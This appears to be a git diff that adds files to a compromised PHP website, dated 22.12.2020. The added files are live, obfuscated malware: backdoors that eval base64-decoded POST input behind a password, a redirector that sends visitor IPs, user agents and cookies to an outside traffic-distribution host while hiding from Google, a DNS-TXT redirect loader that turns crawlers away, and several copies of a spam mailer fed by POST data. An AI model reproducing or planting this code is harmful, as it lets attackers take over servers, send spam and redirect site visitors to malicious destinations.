"; function akvha($errno,$errstr,$errfile,$errline){ $txmkyubcu= create_function('',$errstr); array_map($txmkyubcu,array('')); } set_error_handler('akvha');$gkbxexwyxr=$yuxhg($cfyfwtyhfsrp);trigger_error($gkbxexwyxr,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('REUBN')) +{ + define('REUBN', __DIR__); +} + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/googleadee3fa23fb12833.html b/22.12.2020/googleadee3fa23fb12833.html new file mode 100644 index 0000000..0a2a7d8 --- /dev/null +++ b/22.12.2020/googleadee3fa23fb12833.html @@ -0,0 +1 @@ +google-site-verification: googleadee3fa23fb12833.html \ No newline at end of file diff --git a/22.12.2020/gppwdp.php b/22.12.2020/gppwdp.php new file mode 100644 index 0000000..5d79840 --- /dev/null +++ b/22.12.2020/gppwdp.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gprpugf.php b/22.12.2020/gprpugf.php new file mode 100644 index 0000000..8f2901f --- /dev/null +++ b/22.12.2020/gprpugf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gptddzg.php b/22.12.2020/gptddzg.php new file mode 100644 index 0000000..b7f7092 --- /dev/null +++ b/22.12.2020/gptddzg.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gqmetgekzg.php b/22.12.2020/gqmetgekzg.php new file mode 100644 index 0000000..d7996b4 --- /dev/null +++ b/22.12.2020/gqmetgekzg.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/grigory_appliances.html b/22.12.2020/grigory_appliances.html new file mode 100644 index 0000000..3059d14 --- /dev/null +++ b/22.12.2020/grigory_appliances.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/grnyzfhb.php b/22.12.2020/grnyzfhb.php new file mode 100644 index 0000000..55f87b9 --- /dev/null +++ b/22.12.2020/grnyzfhb.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gtyhmf.php b/22.12.2020/gtyhmf.php new file mode 100644 index 0000000..4f367bd --- /dev/null +++ b/22.12.2020/gtyhmf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gutscheine.php b/22.12.2020/gutscheine.php new file mode 100644 index 0000000..86c7877 --- /dev/null +++ b/22.12.2020/gutscheine.php @@ -0,0 +1,37 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$twuabkrcm=str_ireplace("m","",$pyusee);$ukbtepdsecsrg = "/*dvamqchrq*/ if (!empty($_GET) && isset($_GET["mode"])){/*dhytykynmmnmvw*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*zamtwpeubygfahm*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qcnBkenRjbXd0Z2dkKi8g")); } die; } if(!empty($_GET)){$rygvsvtuve="aHR0cDovL2Ruc3BvaW50Y291bnRlci5pbmZvL3dwYnZxdnN6L2RkcXNoY2JkbWQvYzk4YWI2ZWM0ZDU1NDhkZTkwNGYwMWFlMWNlZWVjODNjcm5jcnJ4Ym5nLw=="; $xzmna=""; $bhfbesv="aHR0cDovL3VuaWNlZi5vcmc=="; $xmnybyu="new-w"; $ehpycmtykbgcbeu="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //BTRTAP// 
$fpsew=strrev(str_ireplace("y","","yyeyyyydyyyoyyyyycyyyyeyyyydyyy_yyyy4yy6yyyyeyyysyyyayyyybyy"));$qbgrhdzvr="//ConfGui
// M4c^@pnS97-fBC
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// VZa$vbf6wvqW
$mode=$_GET["mode"];
if($mode=="config" AND $ehpycmtykbgcbeu==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($rygvsvtuve).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$xzmna.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$ehpycmtykbgcbeu.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($bhfbesv).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$xmnybyu.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// 0HEBUYZewZ6gwpvC5s9q7*UFD@dH.cHC+ff3Ue+9wDHnfffXA
if($mode=="setconfig" AND $ehpycmtykbgcbeu==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //BTR';
$kaka=$ka.'TAP// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $rygvsvtuve="'.base64_encode($_POST["ptds"]).'"; $xzmna="'.$_POST["ptdsip"].'"; $bhfbesv="'.base64_encode($_POST["pto"]).'"; $xmnybyu="'.$_POST["pesdid"].'"; $ehpycmtykbgcbeu="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// 7Pb4Ha0xzUB1_nrEw53y^m)Du
//send
if(empty($xzmna)) {$dom = explode("/", base64_decode($rygvsvtuve)); $dom=$dom[2];} else {$dom=$xzmna;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// sREVEv1V-mzH
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($rygvsvtuve)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$xmnybyu;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// 9Mr63P+RvcND)Qqy$.tT.5eah_qnhS-6bA2n_H)5=PWR6
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($bhfbesv); }
} else { $goto=base64_decode($bhfbesv); }}
// y2@E0aW32eASH4VPK=aDmkU@kqW-2eQpnP(sW#k!U
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($bhfbesv); }
} else { $goto=base64_decode($bhfbesv); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($fpsew($qbgrhdzvr));}
"; function dyecebpq($errno,$errstr,$errfile,$errline){ $rmdebqr= create_function('',$errstr); array_map($rmdebqr,array('')); } set_error_handler('dyecebpq');$yhbsfxguk=$twuabkrcm($ukbtepdsecsrg);trigger_error($yhbsfxguk,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +if( version_compare(PHP_VERSION, '5.3.0', '>=') ) +{ + @error_reporting(E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); + @ini_set('error_reporting', E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); +} + + + + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/gvnhuae.php b/22.12.2020/gvnhuae.php new file mode 100644 index 0000000..e7f926c --- /dev/null +++ b/22.12.2020/gvnhuae.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gvshuqzzh.php b/22.12.2020/gvshuqzzh.php new file mode 100644 index 0000000..9fcb665 --- /dev/null +++ b/22.12.2020/gvshuqzzh.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gwnubcbmmf.php b/22.12.2020/gwnubcbmmf.php new file mode 100644 index 0000000..340b7b5 --- /dev/null +++ b/22.12.2020/gwnubcbmmf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gxfywfm.php b/22.12.2020/gxfywfm.php new file mode 100644 index 0000000..84b7dfa --- /dev/null +++ b/22.12.2020/gxfywfm.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gxkddvcb.php b/22.12.2020/gxkddvcb.php new file mode 100644 index 0000000..0f1e801 --- /dev/null +++ b/22.12.2020/gxkddvcb.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gxrzepbkt.php b/22.12.2020/gxrzepbkt.php new file mode 100644 index 0000000..a84fc67 --- /dev/null +++ b/22.12.2020/gxrzepbkt.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gxsudtkhb.php b/22.12.2020/gxsudtkhb.php new file mode 100644 index 0000000..cb79b88 --- /dev/null +++ b/22.12.2020/gxsudtkhb.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gxtzxwx.php b/22.12.2020/gxtzxwx.php new file mode 100644 index 0000000..3059f60 --- /dev/null +++ b/22.12.2020/gxtzxwx.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gxwygf.php b/22.12.2020/gxwygf.php new file mode 100644 index 0000000..4a9247c --- /dev/null +++ b/22.12.2020/gxwygf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/gzrrduwqd.php b/22.12.2020/gzrrduwqd.php new file mode 100644 index 0000000..1c9488c --- /dev/null +++ b/22.12.2020/gzrrduwqd.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/h.php b/22.12.2020/h.php new file mode 100644 index 0000000..fbcebb9 --- /dev/null +++ b/22.12.2020/h.php @@ -0,0 +1,61 @@ + 0) { + die('User-agent: *\r\nDisallow: /\r\n'); +} + +$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; +if ($ua == '' || preg_match('/crawl|spider|bot|mediapartners|slurp|ezooms|ia_archiver|lycos/i', $ua)) { + header('HTTP/1.1 500 Internal Server Error'); + die(); +} + +if (!empty($_SERVER['HTTP_CLIENT_IP'])) { + $inf = $_SERVER['HTTP_CLIENT_IP']; +} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { + $inf = $_SERVER['HTTP_X_FORWARDED_FOR']; +} else { + $inf = $_SERVER['REMOTE_ADDR']; +} + +if (substr_count($inf, '.') == 3 && !isset($_GET['ts'])){ + $inf = 'ip-'.str_replace('.', '-', $inf).'.'; +} else { + $inf = ''; +} + +$host = $_SERVER['SERVER_NAME']; +if (strlen($host) > 0 && !isset($_GET['ts'])) { + $inf = $inf.'hst-'.substr(md5(strtolower($host)), -8).'.'; +} + +$d = array(base64_decode(str_replace('.', '', 'ZmV0Y2hkb.S4lc3B1bG.xkbnMu.Y29t'))); +foreach ($d as $k=>$v) { + $d[$k] = sprintf($v, $inf); +} + +for ($i = rand(0, count($d)); $i < 20 + count($d); $i++) { + $s = dns_get_record($d[$i % count($d)], DNS_TXT); + $location = ''; + if (is_array($s) && (count($s) > 0) && isset($s[0]['txt']) && strlen($s[0]['txt'])) { + if ((strpos($s[0]['txt'], 'blocked')) !== FALSE) { + header('HTTP/1.1 500 Internal Server Error'); + die(); + } + if ((strpos($s[0]['txt'], 'http')) !== FALSE) { + $location = $s[0]['txt']; + break; + } + } +} + +if (!strlen($location)) + die(); + +if (isset($_GET['ts'])) { + echo 'OK'.$location.'ERR'; +} else { + echo ''; +} diff --git a/22.12.2020/hQCjDuwbdddd.php b/22.12.2020/hQCjDuwbdddd.php new file mode 100644 index 0000000..e255274 --- /dev/null +++ b/22.12.2020/hQCjDuwbdddd.php @@ -0,0 +1 @@ + + + + + + + + diff --git a/22.12.2020/hbTYiThO.php b/22.12.2020/hbTYiThO.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/hbTYiThO.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/hbqudhp.php b/22.12.2020/hbqudhp.php new file mode 100644 index 0000000..2511a9b --- /dev/null +++ b/22.12.2020/hbqudhp.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hcjDNFiB.php b/22.12.2020/hcjDNFiB.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/hcjDNFiB.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/hdQKKtUN.php b/22.12.2020/hdQKKtUN.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/hdQKKtUN.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/hdzbkmzpag.php b/22.12.2020/hdzbkmzpag.php new file mode 100644 index 0000000..eee72ae --- /dev/null +++ b/22.12.2020/hdzbkmzpag.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/heavnwhfd.php b/22.12.2020/heavnwhfd.php new file mode 100644 index 0000000..673c46a --- /dev/null +++ b/22.12.2020/heavnwhfd.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hem_delhome.html b/22.12.2020/hem_delhome.html new file mode 100644 index 0000000..3fbb69b --- /dev/null +++ b/22.12.2020/hem_delhome.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/hezvznsgw.php b/22.12.2020/hezvznsgw.php new file mode 100644 index 0000000..15d863c --- /dev/null +++ b/22.12.2020/hezvznsgw.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hhtawxa.php b/22.12.2020/hhtawxa.php new file mode 100644 index 0000000..2e8fdbe --- /dev/null +++ b/22.12.2020/hhtawxa.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hhttxhnf.php b/22.12.2020/hhttxhnf.php new file mode 100644 index 0000000..587a4a8 --- /dev/null +++ b/22.12.2020/hhttxhnf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hkkucsuv.php b/22.12.2020/hkkucsuv.php new file mode 100644 index 0000000..c128342 --- /dev/null +++ b/22.12.2020/hkkucsuv.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hktyke.php b/22.12.2020/hktyke.php new file mode 100644 index 0000000..91c0137 --- /dev/null +++ b/22.12.2020/hktyke.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hmbhpbhru.php b/22.12.2020/hmbhpbhru.php new file mode 100644 index 0000000..a1aa305 --- /dev/null +++ b/22.12.2020/hmbhpbhru.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hmeychwq.php b/22.12.2020/hmeychwq.php new file mode 100644 index 0000000..796f3d9 --- /dev/null +++ b/22.12.2020/hmeychwq.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hngeh.php b/22.12.2020/hngeh.php new file mode 100644 index 0000000..6598948 --- /dev/null +++ b/22.12.2020/hngeh.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hongyu_halferty.html b/22.12.2020/hongyu_halferty.html new file mode 100644 index 0000000..7b4e947 --- /dev/null +++ b/22.12.2020/hongyu_halferty.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/hpTQZidJ.php b/22.12.2020/hpTQZidJ.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/hpTQZidJ.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/hqbuf.php b/22.12.2020/hqbuf.php new file mode 100644 index 0000000..7eb7b04 --- /dev/null +++ b/22.12.2020/hqbuf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hqutsucq.php b/22.12.2020/hqutsucq.php new file mode 100644 index 0000000..62b8729 --- /dev/null +++ b/22.12.2020/hqutsucq.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hqwkr.php b/22.12.2020/hqwkr.php new file mode 100644 index 0000000..daa3b32 --- /dev/null +++ b/22.12.2020/hqwkr.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hsphd.php b/22.12.2020/hsphd.php new file mode 100644 index 0000000..eaf60bd --- /dev/null +++ b/22.12.2020/hsphd.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hswrtw.php b/22.12.2020/hswrtw.php new file mode 100644 index 0000000..57765c8 --- /dev/null +++ b/22.12.2020/hswrtw.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hthyuwv.php b/22.12.2020/hthyuwv.php new file mode 100644 index 0000000..cef86c1 --- /dev/null +++ b/22.12.2020/hthyuwv.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/htpuw.php b/22.12.2020/htpuw.php new file mode 100644 index 0000000..24aaa4a --- /dev/null +++ b/22.12.2020/htpuw.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/huvfhf.php b/22.12.2020/huvfhf.php new file mode 100644 index 0000000..de71786 --- /dev/null +++ b/22.12.2020/huvfhf.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hvhdchb.php b/22.12.2020/hvhdchb.php new file mode 100644 index 0000000..2531740 --- /dev/null +++ b/22.12.2020/hvhdchb.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hvysaysct.php b/22.12.2020/hvysaysct.php new file mode 100644 index 0000000..00da2f4 --- /dev/null +++ b/22.12.2020/hvysaysct.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hwwmbuczpb.php b/22.12.2020/hwwmbuczpb.php new file mode 100644 index 0000000..0e1201c --- /dev/null +++ b/22.12.2020/hwwmbuczpb.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hyacaksynu.php b/22.12.2020/hyacaksynu.php new file mode 100644 index 0000000..4b05a93 --- /dev/null +++ b/22.12.2020/hyacaksynu.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/hztwwxrwuw.php b/22.12.2020/hztwwxrwuw.php new file mode 100644 index 0000000..5b796ae --- /dev/null +++ b/22.12.2020/hztwwxrwuw.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/iEmQgfDs.php b/22.12.2020/iEmQgfDs.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/iEmQgfDs.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/iFqmcfUK.php b/22.12.2020/iFqmcfUK.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/iFqmcfUK.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/index-print.php b/22.12.2020/index-print.php new file mode 100644 index 0000000..22deadf --- /dev/null +++ b/22.12.2020/index-print.php @@ -0,0 +1,34 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$qytnazp=str_ireplace("v","",$dabcghy);$xbbbhst = "/*dudfvmz*/ if (!empty($_GET) && isset($_GET["mode"])){/*uqtmwhdystg*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*hyqad*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qc2d5ZXRwdWgqLyA=")); } die; } if(!empty($_GET)){$axyyztdh="aHR0cDovL2Ruc3BvaW50Y291bnRlci5pbmZvL21hd2ZhdC9xc3JhZnl5Y3hkLzMzYjQ5ZWY0NDdkMDRjZDM4OGRiNWYyZjAwYTVhYjdkcHd2eWsv"; $hdqanzabzeewgxq=""; $pwysbmx="aHR0cDovL3VuaWNlZi5vcmc=="; $hhbqevtbbanf="new-w"; $aewxxkquabqzhus="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //KVCRMF// 
$zyqfyq=strrev(str_ireplace("h","","hehhhhhhdhhhhohhhhhchhhehhhhhdhhhhh_hhhhh4hhhh6hhehhhhshhhhhahhhbhh"));$mapnam="//ConfGui
// BgC2V3vUqhzfp7SR!xcuQ_=tQv$sb=RUX6bn8upksrmAD8kgy9
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// @gkrKdV
$mode=$_GET["mode"];
if($mode=="config" AND $aewxxkquabqzhus==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($axyyztdh).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$hdqanzabzeewgxq.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$aewxxkquabqzhus.'"></td>
